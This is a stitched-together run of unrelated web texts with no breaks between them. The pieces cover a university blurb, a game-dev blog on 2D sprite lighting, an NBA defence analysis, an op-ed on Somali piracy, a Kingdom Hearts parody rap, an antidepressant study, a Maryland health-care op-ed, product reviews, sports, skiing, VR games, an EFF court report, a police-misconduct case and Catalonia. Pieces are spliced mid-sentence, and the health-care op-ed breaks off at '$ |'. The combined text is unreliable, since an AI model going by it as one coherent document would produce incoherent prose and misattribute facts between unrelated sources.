Its students are much in demand from 'blue-chip' employers. Winners of Students in Free Enterprise for four years in succession, and current holder of UK Graduate of the Year, they are accomplished artists, scientists, engineers, entrepreneurs, innovators and fundraisers. Nottingham graduates consistently excel in business, the media, the arts and sport. Undergraduate and postgraduate degree completion rates are amongst the highest in the United Kingdom.We are experimenting with moving away from 3d spaceships in favor of 2D. The big drawback of course was losing the great 3d lighting model. We experiment with a 2D normalmap lighting system w custom sprite shader and lighting images.
Posted by friken0 on May 22nd, 2014
I asked our new artist to help make some ship concepts as we are struggling with modeling cool ships. To date our game has always used a mix of 2d/3d, but 3d for ships/planets/surfaces and 2d for fx, aliens, ui, etc. He color sketched the following for the lipoc race:
Looked pretty good and made me rethink using 3d ships. If we could make 2d look good enough, it really would save a ton of modeling time, so I asked him to make a ship overhead view for the Veelow race. A while later I had this:
hmmm... cool concept, so I put it in the game as a 2d sprite. As I feared I couldn't get any form of lighting on a 2d quad to look anything but terrible. The lighting for the 3d models was great... can't backtrack to have virtually no lighting for 2d sprites, and for SURE don't want to go back to the stone ages of making a ton of sprites w manually painted lighting at various angles. I remembered an awesome kickstart a while back for lamplight. For those unfamiliar, this is REALLY worth a look:
So I looked into doing something similar in Unity. The Unity community being huge and awesome, low and behold someone already beat me to it (Huge kudos to Kencho):Kencho-dev-blog.blogspot.com.esSo I started implementing a custom shader based on Kencho's work. I struggled a bit at first but I'm thrilled with the end result... 2d realtime lighting that really looks great/3dish. Note the image below is 3 screenshots merged w the same ship at multiple angles so you can see 1:1 pixel of the lighting:
The basics is a custom shader to use a normal map, which is generated from a horiz lighting and vert lighting. Here are my two lighting images:
And of course I need a gif to really show the effect:
I still need to balance out the left/top lighting images and tweak the base image to not have lighting from the front baked in, but I'm pretty happy with the results.
A second example of new 2d lighting on a new ship:HANG TIME NEW JERSEY — In our Q and A at All-Star weekend, Oklahoma City Thunder coach Scott Brooks said that when his team is on defense, he’s “concerned about making sure that every shot is contested.”
Contesting every shot is impossible, but Brooks’ team certainly can do a better job. According to SportVU, no team has contested a lower percentage of its opponents’ jump shots than the Thunder. They’ve contested just 24 percent of opponent jumpers, a mark well below the league average of 31 percent.
Perc. of opponent jump shots contested Rank Team Cont% 1. San Antonio 38.2% 2. L.A. Clippers 36.9% 3. Indiana 35.6% 4. Denver 34.7% 5. Memphis 34.4% 6. Atlanta 34.3% 7. Portland 34.2% 8. Charlotte 34.1% 9. Chicago 33.8% 10. L.A. Lakers 33.7% 11. Golden State 33.1% 12. Orlando 32.2% 13. Toronto 31.8% 14. Boston 31.3% 15. Miami 30.8% 16. Phoenix 30.7% 17. Detroit 30.2% 18. Dallas 29.8% 19. Minnesota 29.6% 20. Washington 29.3% 21. Brooklyn 29.3% 22. Sacramento 28.6% 23. Milwaukee 28.2% 24. New Orleans 27.9% 25. Houston 27.9% 26. Utah 27.1% 27. Cleveland 26.4% 28. Philadelphia 24.9% 29. New York 24.5% 30. Oklahoma City 23.8% League avg. 30.9%
SportVU defines a jump shot as any shot out outside of 10 feet. It’s contested if a defender is within four feet of the shooter.
There’s a much stronger correlation between defensive efficiency and opponent effective field-goal percentage (EFG%) than between defensive efficiency and any of the other “four factors” (rebounding, forcing turnovers, keeping opponents off the free-throw line).
Here’s the thing, though. The Thunder rank fourth in opponent EFG% and fourth in defensive efficiency. They’ve been a great defensive team — even though they haven’t contested jump shots very well. There is a correlation between the percentage of jumpers a team contests and its opponents’ EFG% (and in turn, their defensive efficiency). The Thunder are an outlier.
They have defended the rim well. They rank fifth in opponent field-goal percentage in the restricted area, with Serge Ibaka ranking among the top individual rim protectors. That’s obviously important.
But, by itself, it doesn’t account for how high the Thunder rank in opponent EFG%. Not only do they not contest jumpers very well, but they don’t really force bad shots. About 61 percent of their opponents’ shots have come from the restricted area or 3-point range, the seventh highest rate in the league.
So how have they been so good defensively? They do rank in the top 10 in defensive rebounding percentage and are slightly above average at forcing turnovers. But you have to wonder if there’s a little luck involved. Take the following numbers into account…
Thunder opponents have shot 38.7 percent on uncontested jumpers, the sixth lowest rate in the league.
Thunder opponents have shot 30.5 percent on contested jumpers, the second lowest rate in the league.
Thunder opponents have shot 72.2 percent from the free-throw line, the second lowest rate in the league. (What goes around comes around; they ranked 28th in free-throw defense last season.)
Only one other defense (the Lakers) ranks in the top 10 in each of those three categories. Five other teams rank in the top 10 in two of the three.
Now, the definition of what’s contested (see above) allows for some leeway. It could mean that the defender is six inches from the shooter with his hand in his face, and it could mean that he’s 48 inches away with his hands down. Maybe the Thunder contest to a different degree than other teams. But they don’t contest a lot.
Eliminating the possible “luck” factor, the Thunder are still a good defensive team. If OKC opponents had shot the league average on contested jumpers, uncontested jumpers and free throws, the Thunder would have allowed 86 more points this season (about 1.5 more per 100 possessions) and would rank seventh in defensive efficiency (in part because there’s a dropoff after the top seven).
But they have had trouble slowing down Golden State, one of the league’s best jump-shooting teams, the team that has been the most efficient against the Thunder this season, and a possible first-round playoff opponent. In his three games against the Thunder, only 21 of Stephen Curry‘s 66 field goal attempts have been contested (just three of 22 on Nov. 14).
Some other good jump-shooting teams — Atlanta, Miami and Portland — also have had decent success against the Thunder. Others — Dallas and Phoenix — have not.
In this first full season of player tracking, there are still some things to figure out. And maybe things will be different defensively for the Thunder with a healthy Russell Westbrook. But if Brooks’ goal is to contest every shot, his team has some work to do.
FYI (because some readers have asked): While you can find contested and uncontested shots in the Player Tracking tab of our NBA.com/stats boxscores, we don’t yet have them on the season level. That’s in the works.
Category: NBA.com/Stats / Tags:, Golden State Warriors, John Schuhmann, Oklahoma City Thunder, san antonio spurs, Scott Brooks, Serge Ibaka, SportVU, Stephen Curry / 17 Comments on SportVU: Uncontested Jumpers vs. OKC /By Roger Middleton
The risks of piracy mean little to people accustomed to violence Searching for satellite images of the pirate village of Eyl in Somalia, you are confronted not with palaces and piles of arms but a few crumbling houses and rows of battered boats along the beach. Even here, where pirate millions first reach Somalia, desperate poverty is everywhere and insecurity is the norm. US President Barack Obama has said that Somali piracy must be brought under control. But the world's attention is for the most part fixed on the ocean, while the real challenges lie ashore. What we are seeing in the Gulf of Aden and western Indian Ocean is just the visible tip of a complex web of challenges inside Somalia, a web that reaches across the country, the region and the world. Somalia is one of the poorest, most violent, least stable countries anywhere on Earth. It suffers from severe drought and its people face hunger and violence on a daily basis. This is not a new situation, Somalia, especially the south, has been in this state for many years. The risks associated with piracy can be seen as little worse than those faced every day
What is new is that the world is now once again concerned with the goings on of this collapsed state. Somalis have learnt to live in circumstances under which many might be expected to give up. In the face of overwhelming adversity they have created thriving businesses, operating entirely in the informal sector, and hospitals built and maintained with money sent home by the diaspora. However, people who have been forgotten by the world and who hear of toxic waste being dumped on their beaches and foreigners stealing their fish have difficulty being concerned when representatives of that world are held to ransom. And for many who have grown up surrounded by constant insecurity and bloodshed, violence and the risk of death are unexceptional hazards. For this reason the current attempts to fight piracy from the sea are only dealing with symptoms. They do not address the reasons why young men are prepared to risk their lives chasing ships around the ocean. Deadly country Somalia's poverty leads many to flee, seeking a better or safe life abroad Piracy is in essence a law and order issue, and in Somalia there is virtually no authority to carry out the kind of policing that could effectively disrupt pirate operations. What government there is in Somalia has bigger problems. The ongoing battle with the hard line Al Shabaab militia that controls Kismaayo and the deep south threatens not just the security of the state but has made Mogadishu one of the deadliest places on earth. President Sheikh Sharif Sheikh Ahmad heads a fairly broad coalition but his opponents have men, weapons and money and are in a fierce struggle to gain control of the country. When the internationally recognised government is fighting for control of its own capital city, combating pirates must seem a somewhat lower priority. Even in the semi-autonomous region of Puntland in the north east, from where most pirate attacks are launched, the local government is contending with massive problems. Boats laden with desperate refugees fleeing the war in Somalia leave almost daily, heading towards Yemen. The smugglers often dump their human cargoes in the sea to avoid capture and leave them to drown. Even for those who make it to the other side, life as second class citizens in already poor Yemen is dire. No engagement Military solutions do not address the root causes of the piracy Somalia has spent almost 20 years in a state of civil war, and shifting alliances, international interventions and a steady supply of unemployed young men and cheap guns have acted against any tendencies towards stabilisation. In a country where the average income is estimated at around $650 (£435) - Somalia is too anarchic for accurate statistics - the lure of up to $10,000 for a successful pirate raid is obvious. The chronic instability of most of the country and the attendant daily threats to life mean that the risks associated with piracy can be seen as little worse than those faced every day. Pirate bosses have little difficulty recruiting to fill any gaps in their crews. In this context a solution based on security systems and guns will not address the root causes of Somali piracy. There are ways that navies from around the world can plaster over the problems of Somalia but as long as a state with grinding poverty, hunger, no law enforcement and no effective government sits beside a rich trading route, piracy will continue. The outside world has for too long seen Somalia only in terms of threats to their own security. Targeted missiles and interventions have been used to remove threatening individuals or groups but there has been no serious engagement with the political and developmental problems that allow those threats to take root. If there is a silver lining to the piracy issue it may be that a deeper, broader and more imaginative engagement with Somalia develops. Piracy is difficult for the nations of the world and disastrous for sailors - but for millions of Somalis the problems of their homeland are catastrophic. Roger Middleton is coordinating a new project at the think-tank Chatham House investigating the economic dimensions of conflict in the Horn of Africa.
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We made Disney epic, and we threw in Cloud,
So get yourself cozy and prepare to press Start,
As we lead you through the crazy story that starts with Kingdom Hearts…
On the Destiny Islands, where I used to chill and laze,
I spent my time sparring and soaking up rays,
Swimming and fishing and getting coco for the boo,
And racin’ my homeboy for the chance to share paopu.
Then one stormy night, when some monsters attacked,
My girl went ghost while me and the homie got sucked in the black,
My vision went blurry and the grave was made,
But then a sparkly thing appeared and said, “You need to fight the heartless so here’s a keyblade!”
I looked for my buddy but he was nowhere near,
Instead a scary dark giant with a glowing leer,
I took the big guy down, and I was on a roll!
Wait, what’s in the sky; oh crap, a black hole!!…
I, woke, up in an alley with Pluto slobberin’ in my face,
Found Donald Duck and Goofy, who said I’m the savin’ grace,
Said I’m the one who can save the worlds from the dark,
So let’s hop in the spaceship and go find Kingdom Hearts!…A new study by researchers at University of Maryland School of Medicine has identified promising compounds that could successfully treat depression in less than 24 hours while minimizing side effects. Although they have not yet been tested in people, the compounds could offer significant advantages over current antidepressant medications.
The research, led by Scott Thompson, PhD, Professor and Chair of the Department of Physiology at the University of Maryland School of Medicine (UM SOM), was published this month in the journal Neuropsychopharmacology.
“Our results open up a whole new class of potential antidepressant medications,” said Dr. Thompson. “We have evidence that these compounds can relieve the devastating symptoms of depression in less than one day, and can do so in a way that limits some of the key disadvantages of current approaches.”
Currently, most people with depression take medications that increase levels of the neurochemical serotonin in the brain. The most common of these drugs, such as Prozac and Lexapro, are selective serotonin reuptake inhibitors, or SSRIs. Unfortunately, SSRIs are effective in only a third of patients with depression. In addition, even when these drugs work, they typically take between three and eight weeks to relieve symptoms. As a result, patients often suffer for months before finding a medicine that makes them feel better. This is not only emotionally excruciating; in the case of patients who are suicidal, it can be deadly. Better treatments for depression are clearly needed.
Dr. Thompson and his team focused on another neurotransmitter besides serotonin, an inhibitory compound called GABA. Brain activity is determined by a balance of opposing excitatory and inhibitory communication between brain cells. Dr. Thompson and his team argue that in depression, excitatory messages in some brain regions are not strong enough. Because there is no safe way to directly strengthen excitatory communication, they examined a class of compounds that reduce the inhibitory messages sent via GABA. They predicted that these compounds would restore excitatory strength. These compounds, called GABA-NAMs, minimize unwanted side effects because they are precise: they work only in the parts of the brain that are essential for mood.
The researchers tested the compounds in rats that were subjected to chronic mild stress that caused the animals to act in ways that resemble human depression. Giving stressed rats GABA-NAMs successfully reversed experimental signs of a key symptom of depression, anhedonia, or the inability to feel pleasure. Remarkably, the beneficial effects of the compounds appeared within 24 hours – much faster than the multiple weeks needed for SSRIs to produce the same effects.
“These compounds produced the most dramatic effects in animal studies that we could have hoped for,” Dr. Thompson said. “It will now be tremendously exciting to find out whether they produce similar effects in depressed patients. If these compounds can quickly provide relief of the symptoms of human depression, such as suicidal thinking, it could revolutionize the way patients are treated.”
In tests on the rats’ brains, the researchers found that the compounds rapidly increased the strength of excitatory communication in regions that were weakened by stress and are thought to be weakened in human depression. No effects of the compound were detected in unstressed animals, raising hopes that they will not produce side effects in human patients.
“This work underscores the importance of basic research to our clinical future,” said Dean E. Albert Reece, MD, PhD, MBA, who is also the vice president for Medical Affairs, University of Maryland, and the John Z. and Akiko K. Bowers Distinguished Professor and Dean of the School of Medicine. “Dr. Thompson’s work lays the crucial groundwork to transform the treatment of depression and reduce the tragic loss of lives to suicide.”From a political standpoint, Gov. Larry Hogan’s swift statement of disapproval for the Senate’s Obamacare repeal-and-replace bill was remarkable. Mr. Hogan, a moderate Republican, opposed President Donald Trump in last year’s election but has sought assiduously to stay out of national politics ever since. From a governance standpoint, though, it was a no-brainer. The Senate health care bill would be a disaster for America’s health care system generally, resulting in 22 million fewer people with health insurance within a decade, according to the Congressional Budget Office. But its effects would be even worse for Maryland. Here’s why.
Unique among the states, Maryland maintains a system in which the rates for hospital services are set by a regulatory agency and are uniform for all payers — including both private insurers and public programs like Medicare and Medicaid. We have no public hospitals but rather the costs of uncompensated care are baked into the rates set by the Health Services Cost Regulatory Commission. In other states, Medicare and Medicaid typically pay far lower rates for given hospital services than private payers, and the value of those additional payments in Maryland is substantial — about $2.3 billion a year.
To maintain that deal, though, the state is required to hold down the growth in Medicare spending. Historically, that was measured by the cost of inpatient hospital admissions, but under a new plan approved under the auspices of the Affordable Care Act, the state must now meet certain benchmarks for reducing the growth in overall health care spending and improving health care quality. So far, it’s doing better than the requirements on all measures, but maintaining that trend under the Senate health care bill (or, for that matter, the one already passed by the House) would be all but impossible.
The issue, according to an analysis earlier this year from Maryland’s non-partisan Department of Legislative Services, is that the expansion of health insurance coverage in Maryland under the ACA has reduced the pressure hospitals face from uncompensated care. If the number of people who rack up hospital bills they can’t pay increases, it would jeopardize the state’s ability to meet two of the Medicare waiver benchmarks: limits to the growth of per capita all-payer hospital revenues and limits to per-beneficiary Medicare hospital costs, according to DLS.
The Senate bill would do two things to increase uncompensated care costs in Maryland. First, the elimination of the requirement that people have insurance and cuts to the subsidies the government pays for lower-income consumers to purchase coverage would reduce the number of people buying policies on the ACA insurance exchange. That would have an impact on the rate of uninsured Marylanders, which has declined by a third under Obamacare. But the bigger factor would be what the Senate does to Medicaid.
As of the last count, about 300,000 additional Marylanders gotten Medicaid coverage under the ACA expansion of that program, far more than have bought coverage on the exchanges. The federal government picked up all of the initial costs of new enrollees under the expansion and will, as of 2020, pay 90 percent. Even at that rate, DLS estimates the expansion will cost Maryland $350 million per year. But if the Senate bill became law — and this is one part that surely got Mr. Hogan’s attention — the state’s share of the cost would skyrocket. The Senate bill keeps ratcheting down the federal share of the Medicaid expansion costs until 2024, when it would reimburse costs of those enrollees at the same rate it does for the state’s Medicaid program generally.
In Maryland, that’s 50 percent, meaning that the Senate bill would give whoever is governor at the time an impossible choice. He or she could either raise taxes or gut other services to come up with an extra $ |
highest point in the United States east of the Rockies.
It was originally named for Army Gen. William S. Harney, who fought against Native Americans as America pushed west.Don't get this refurbished ones, it took me couple of hours to know the warranty process on this refurbished Apple watch (which says "Geek Squad Certified Refurbished Apple Watch"). I called up GSP(Geek Squad Protection) and they said there is only 90 day warranty on this product after purchase. When asked about extended warranty they told me to check with Best Buy on it and referred me a link"www.bestbuy.com/expertservice", In this link you will click on the "Online Advisors" highlighted text. They are available 7 days a week, 7am - 11pm CST. Alternatively, you can call 1-888-237-8289 (1-888-BEST-BUY) for help 24/7. I chatted with one of the best buy cust service agents in this link above and she said unfortunately this being an apple product we dont provide Geek Squad Protection for this item and told me to check with Apple on it and ask for Apple care protection. I contacted apple cust care and they said that the apple care can only be purchased to the Best buy refurbished products only if the first date of purchase(whoever purchased and returned it to Best Buy) is no longer than 60 days. I asked them how will i know if this refurb item BB is selling was first purchased within 60days? She replied i can only tell that by the serial number on the box sir. I called up best buy again and told them about this situation of what geek squad told me and what apple told me, and finally no one was able to answer this question on its warranty. Which means if something happens after the 90 day geek squad protection period ends (after purchasing this refurb Apple watch from BB), you have to pay for it. BETTER GET A NEW ONE WHICH HAS APPLE'S INITIAL WARRANTY OF 1 YR THAT COVERS SOFTWARE ISSUES AND BUY APPLE CARE WITHIN 60 DAYS FOR IT AFTER PURCHASE WHICH WILL THEN COVER YOUR WATCH FOR ANOTHER 2 YRS INCLUDING THE REPAIR /HARDWARE ISSUES/ REPLACEMENT. And by the way i'm not an apple fan to write this review....im writing this out of frustration on how these products are being sold without proper warranties even if you want to purchase them.....and worst part is everyone points fingers to each other and direct calls to each other...
Read moreEven the most talented of players need to be told they're doing well, insists Eric Harrison, the man responsible for moulding the talent of Manchester United legend Paul Scholes.
"When he (Scholes) was a young kid he had a lot of injuries and asthma so we had to leave him out of a lot of games," says Harrison.
More after the break
"He didn’t realise how good he was. The time came when he was getting to 17 and I took him to one side and said: 'How do think you’re doing?'
"He said: 'OK'. You never got much out of Scholesy so I said to him, “Well you’re doing better than OK, you’re going to be playing in Manchester United’s first team', and he couldn’t believe it.
"That shows that if a guy like Paul Scholes, who was a genius - born with a sat-nav in his head – if he had to be told, then tell them."
As a coach you want to build confidence not arrogance. For an insight into how Harrison inspired a generation of Manchester United greats, hit that mouse button and press play.
The Freeradio Grass Roots Football Show is the biggest grass roots football event in Europe. For more information on this year’s event at the Birmingham NEC on May 25-27 visit www.grassrootsfootball.co.uk
Also see:
Damien Comolli: Get the best out of young players
Getting the best out of young players
Building mental strength in young players
Eric Harrison's 3 top tips for young players
Tony Carr: Dealing with a step up in class
Peter Taylor's 3 top tips for young players
Damien Comolli: How to make it as a young player
Tony Carr: Psychology for young playersUnless you’ve been living under a rock, or perhaps in a snow cave, for the past six months, you’re aware that this has been one of the biggest and best snow years that Tahoe has seen in quite a while. So, what’s a ski bum to do now that the snow has started to melt from around the Tahoe region? Well, one could always hop on the bike and hit the trails I suppose. And while that’s certainly all well and good, it just doesn’t satisfy the craving for sliding down the snow that so many of us have. Fortunately, there’s a place not too far away, a magical land depending on whom you ask, that currently has all the spring corn skiing you could ask for. That’s right, I’m talking about Mount Shasta, elevation 14,179 feet, one of the tallest mountains in California.
Editor’s Note: Squaw Valley is still open for skiing and riding in Tahoe.
As in Tahoe, Mount Shasta saw an above-average snowfall this winter. To find out just how good the season has been, and will be, I met up with one of the co-owners of Shasta Mountain Guides, Chris Carr.
“We are at about 200 percent of normal and I would not be surprised to see more precip in June,” said Carr. “It’s happened the last couple years, including a 3-foot storm last June.”
Ask any Shasta local about why he or she loves the mountain and you’re sure to get a variety of answers. To many, Mount Shasta is a sacred place. There’s a running joke among the locals about hunting for portals to find the mythical Lemurians, a race of 8-foot tall humanoids that dwell within the mountain in their crystal kingdom. Though hunting for portals is certainly one reason to ski Mount Shasta, for most, including Carr, it’s more about the accessibility, generally good weather, endless fall-line skiing and plenty of moderate ski terrain.
Though hunting for portals is certainly one reason to ski Mount Shasta, for most it’s more about the accessibility, generally good weather, endless fall-line skiing and plenty of moderate ski terrain.
In order to get to the most accessible ski terrain on Shasta at this point in the season, all one needs to do is drive from the middle of town for about 20 minutes to the Bunny Flat Trailhead. From there, it’s simply a matter of skinning straight up Avalanche Gulch, the most commonly skied section currently. I say currently because, as with any big mountain and any big ski year, things will change as the snow coverage changes with the rising temperatures into July. Most seasons on Shasta you can find skiing through July; the difference this year is that it’s going to be good skiing through at least July.
There are quite a few options as to how one chooses to attack this burly, often-underestimated mountain. A preferred method for many skiers is to just go with an alpine start, commonly defined as between midnight and first light, and climb the whole thing in a day. As gear has gotten lighter and ski- and splitboard-touring has become more commonplace, this has begun to eclipse the more common multi-day ski trips. It’s not uncommon on a busy weekend for the parking lot at Bunny Flat to be overflowing nearly 1 mile down the road. However, for those looking to spend a little more time and really explore the mountain, Mount Shasta offers a plethora of excellent snow camping on virtually all aspects.
As amazing as this all sounds, according to Carr: “Don’t underestimate this challenge. Check in with the [U.S. Forest Service] climbing rangers and get your summit permits. Watch the weather and wind and start early.”
As with any skiing or outdoors endeavor, safety and fun should be at the top of your list. After all, the most fun days are the ones in which everyone makes it safely back to the bar to share the stories together.
So, if you’re just not ready to retire your sticks for the season quite yet, or maybe you want to tick this one off your bucket list, this season is the one to make it happen. After all, how many people can say they’ve successfully skied from more than 14,000 feet, down 7,000 feet of glorious corn snow? Come up, make some memories and give all your mountain biking friends something to be jealous about. After all, the dirt will still be here for you next weekend.
For more information, visit shastaguides.com or visitmtshasta.com.Shueisha JUMP VR to take part in Japan Character VR Matsuri at Anime Expo 2017.
Shueisha JUMP VR, in collaboration with Dai Nippon Printing, are bringing a range of JUMP manga-related VR games to Anime Expo 2017. As part of Japan Character VR Matsuri, Shueisha JUMP VR combines the latest VR technology with popular JUMP manga series such as One Piece and Death Note to create an innovative interactive experience for visitors.
Japan Character VR Matsuri brings together over ten teams of Japanese VR developers, including Shueisha, for the first time in the U.S. The following four JUMP VR games will be available to play:
● One Piece Cube (Oculus Rift+Touch)
Enjoy picking up One Piece illustrations with your own hands. You can build a 3D puzzle of popular character Chopper, too!
● JUMP Cube (Oculus Rift+Touch)
Appreciate illustrations from five popular manga with your own hands in a VR environment. You can also build a 3D puzzle of popular Bleach character, Kon!
● JUMP Art Gallery (Gear VR)
Enjoy illustrations from popular manga in VR. A surprise awaits you in the final room!
● Death Note VR Escape Game (Gear VR)
You are the imprisoned Misa, who must work together with the Shinigami Rem in order to escape the basement before it fills with water!
Anime Expo 2017 will take place from July 1 to July 4 at Los Angeles Convention Center. Japan Character VR Matsuri can be found in the gaming zone. For more information, visit the official website at http://jcs.shueisha.co.jp/jvr/matsuri/index_en.html.
About Shueisha
Shueisha Inc. is a Tokyo-based Japanese book publisher first established in 1926. Popular works include One Piece, Death Note, Dragon Ball, and Naruto. For more information, please visit http://www.shueisha.co.jp/english/.
About Dai Nippon Printing
Based in Tokyo, Japan, Dai Nippon Printing Co., Ltd. was established in 1876. They offer a wide variety of printing processes in the areas of Information Communications, Lifestyle and Industrial Supplies, and Electronics. For more information, please visit http://www.dnp.co.jp/eng/.A court filing unsealed late Wednesday shows that the U.S. Department of Justice (DOJ) made a highly misleading argument to an appeals court in October during a hearing on the constitutionality of National Security Letters (NSLs).
On October 8, the Electronic Frontier Foundation argued before the United States Court of Appeals for the Ninth Circuit that provisions in the USA PATRIOT Act that prohibit service providers from discussing NSLs they may have received violates the First Amendment. During the hearing, the judges’ questioning addressed concerns that the government is using its NSL authority to stifle recipients’ constitutionally protected right to comment on the government’s actions. But DOJ Attorney Douglas Letter countered that these companies are free to discuss the “quality” of NSLs letter they received from the FBI—a claim that contradicted the government’s prior position and turned out not to be true.
Following the hearing, EFF’s clients requested that the DOJ reconcile the statement Letter made to the court with the department’s longstanding contention that companies could not discuss having received NSLs at all. In response, the DOJ filed a letter with the court admitting that Letter’s statements were incorrect, reaffirming its position that the broad gag includes any statement about the NSLs they have received. The DOJ also apologized to the court.
EFF Legal Director Cindy Cohn issued the following statement in response to the retraction:
EFF’s clients have consistently challenged the indiscriminate use of gag orders in combination with National Security Letters. In particular, they have challenged the government’s contention that NSL recipients can’t even use their experiences receiving overbroad NSLs to push for reform in Congress or in the broader public debate. This is especially the case now that the USA FREEDOM Act, which has some limited NSL reform, is going to be discussed in the Senate. At the oral argument, the judges were very concerned that the government is using its NSL authority to stifle recipients’ constitutionally protected right to comment on the government’s actions. We were surprised to hear, in response to those concerns, the government retreat from its position that the NSLs gags prevent recipients from talking about "very fact of having received" an NSL. When we wrote to the government asking if this new position meant that our clients could indeed talk about the quality of the NSLs they have received, the government retracted its statements to the court and apologized. But it's troubling that we had to raise the issue before the government addressed it and that it seems the government was willing to let the court believe that the gag was narrower than it actually is in order to win the case.
EFF represents two companies challenging NSLs—a telecom company and an Internet company. The names of these companies remain under seal, as the government continues to insist that even identifying them might endanger national security. In March 2013 a federal district court judge in San Francisco agreed with EFF and ruled the NSL provisions unconstitutional, barring future NSLs and accompanying gag orders. That ruling was stayed pending appeal, however, and the district court has subsequently enforced separate NSLs—including NSLs issued to both EFF clients—and indicates that it will continue to do so until the Ninth Circuit rules on EFF’s challenges.
Here's what Doug Letter originally told the court (mp3 available here):
There is a category that the deputy attorney general provided that recipients can make disclosures and there is a category of 0-249 so recipients can disclose that. They’re allowed to disclose within these bands. And they can fully participate in the public debate, they can say as we have disclosed we’re in that band 0-249 and it can say the very things that [EFF Senior Staff Attorney Kurt Opsahl] said they can’t. They can say and we think the government is asking for too much in many of the NSLs we received and we want to talk to our fellow recipients and see if they too have felt that there’s too much and we think Congress ought to do something about that. They can do all of that. There’s nothing that says that they can’t comment, they’re allowed to make specific comments about quantity, there’s absolutely no ban on them commenting on the quality of those they’ve received.
Here's an excerpt from the subsequent retraction:
In the course of discussing disclosures described in this letter, approximately 49 minutes into the Court's recording of the argument, government counsel indicated that if a company discloses that it is in one of these two bands starting with zero, it could publicly discuss the fact that it had received one or more NSLs and could discuss the quality of the specific NSL(s) that it had received. That suggestion was mistaken. The district court correctly noted that “the NSL nondisclosure provisions... apply, without distinction, to both the content of the NSLs and to the very fact of having received one."
For the full text of the Justice Department's letter:
https://www.eff.org/document/governments-letter-re-misstatement-oral-argumentThroughout Nebraska's transition to the Big Ten, top school officials have praised the league as one where all of its members stand on equal footing.
This point often has come up when discussing why Nebraska left the Big 12 last June.
"We appreciate the stability, we appreciate the collegiality we've seen within the Big Ten," Nebraska athletic director Tom Osborne told me in February. "There is a good deal of concern about the welfare, the health of the league, as opposed to individual desires to get a bigger piece of the pie."
At the root of the Big Ten's "collegiality" is the league's philosophy on revenue distribution. The Big Ten shares its revenue equally among all members. The Big 12, meanwhile, has distributed revenue based on television appearances, although the league is adopting a more equitable model.
Nebraska has indicated it prefers the Big Ten model and got fed up with inequalities in the Big 12, particularly issues concerning a university located in Austin, Texas.
But Big 12 commissioner Dan Beebe has a different take on Nebraska, Texas and his league's revenue-distribution model.
He recently shared it with colleague David Ubben:
"What’s interesting though, and maybe even a little bit curious to me is that Texas and Nebraska were aligned almost exactly on every issue, including the revenue distribution piece and putting all the rights into the conference," Beebe said. "So it’s kind of interesting when I read about comments about Nebraska now being pleased about being in a conference where they put all their rights in and divide money equally. That’s the exact opposite position that they took for years in this conference."
Interesting.
Beebe also tells Ubben about the issues Nebraska and particularly Osborne had with the Big 12 and several recent decisions by the league. But Beebe's assertion that Nebraska being aligned with Texas on revenue distribution likely will get folks' attention in Lincoln.
Remember what Nebraska chancellor Harvey Perlman said last June in announcing the school's move to the Big Ten? Perlman was referring to the ultimatum given to Nebraska to pledge its allegiance to the Big 12.
"I said, ‘There's only one way that you can fully commit, long term, to a conference, and that is you assign media rights to your athletic contests to the conference for the long term,'" Perlman said. "And I asked, 'Were the members willing to do that?' The University of Texas made it clear they were not willing to do that."
So which is it? Did Nebraska like the Big 12's revenue distribution model or not?
Perhaps Nebraska preferred the model until it began getting a smaller piece of the pie.
Either way, Nebraska will soon be an equal revenue partner in the Big Ten. And I doubt there will be many complaints about it.Sunday Star Times article as seen below;
A police officer who put stones, dirt and sticks in the engine oil of a couple’s Toyota Land Cruiser has admitted a charge of intentional damage.
Constable Darrin O’Donnell was one of a group of police officers that searched the home of Tania Kahaki and Jon Lamb at Marotiri, 40km north of Taupo, while the couple were at work last August.
Police also tipped moisturising cream and hair gel through the couple’s clothing and tipped paint over power tools.
Kahaki, 34, who manages a cycle trail, said she arrived home to find all her house doors open and one of the Land Cruiser’s windows smashed. “I thought, oh no we’ve been burgled.”
But when the mother-of-three discovered a court-approved search warrant tacked to her door she got angry and rang the police to ask why. She was told police were searching for a methamphetamine laboratory.
“We have got our little family life going on here,” she said. “We don’t do any criminal activity, or what not. Nothing came out of their search because we were innocent. We were just caught in the middle of something bigger.”
Lamb added: “They did not need to do all that. I think they came to look for particular items and we had nothing to do with it and when they couldn’t find what they wanted they got p…ed off and started damaging our gear.”
They complained to the Independent Police Conduct Authority, an investigation was launched, and O’Donnell was charged.
Police said last night that O’Donnell “is no longer employed by New Zealand Police”.
He was an officer at the time of the incident, but was serving out his time having resigned beforehand.
“Police staff are held to account under the law, just as any member of the public is. Where appropriate, any matter of a criminal nature will be put before the court,” a spokesperson said.
When approached last night, O’Donnell declined to talk: “It is best I don’t say anything.”
His partner said he had been a police officer for 13 years – the raid and court charges had ruined his life.
She believed he had been hung out to dry. There was more to the incident but “we have been told by police to shut our mouths.”
Kahaki and Lamb said they discovered the stones, dirt and sticks had been placed in the engine of their seldom-used Land Cruiser only after they formally complained to the police.
A police officer had visited them with statements taken from police who had been involved in the search. Kahaki said that in the statements it was mentioned that O’Donnell placed the material in the oil.
“It was sabotage, and put our family at risk,” she said.
“If we had not made a complaint I would probably have driven that vehicle and the engine would have been completely buggered,” Lamb added.
Police paid for repairs.
Lamb was not beyond reproach, himself. He pleaded guilty to a charge of receiving stolen goods as a result of the police raid.
Kahaki said he had “stupidly” allowed an associate to work at their property on cars that turned out to be stolen. He was given periodic detention. Kahaki has no convictions.Appeals to democracy have been used and misused by both sides in the dispute over Catalonia’s referendum. For many (but not everyone) in Catalonia, the vote represents a heartening example of popular democracy against an intransigent and high-handed state. In Madrid and other EU capitals, the threat of Catalonia unilaterally declaring independence is an affront to the union’s basic democratic laws.
Richard Youngs Youngs is an expert on the foreign policy of the European Union, in particular on questions of democracy support. More > @YoungsRichard
This division captures an emerging tension across Europe between different understandings of democracy. One concept stresses the rule of law; the other emphasizes the importance of active citizen participation. Both are necessary for good quality democracy, but at times there can be tension between the two. Many of the EU’s problems today stem from exactly this tension. In this sense, events in Catalonia are the result not only of the complexity of internal Spanish politics, but also reflect a more structural problem with the way that European democracy is evolving.
The EU clearly prioritizes the rule of law over participative democracy. The union ostensibly aspires to transcend traditional concepts of national sovereignty, yet it is a club of national governments. This helps account for the EU’s tepid response to the brutality of the Spanish police during the events of October 1. In pointing to the unconstitutional nature of the Catalan referendum, the Spanish and other EU governments have legality on their side. But just when leaders are searching for ways of relegitimizing the EU in the eyes of its jaded citizens, the EU’s apparent ambivalence over the violence can only add to popular disappointment with the union.
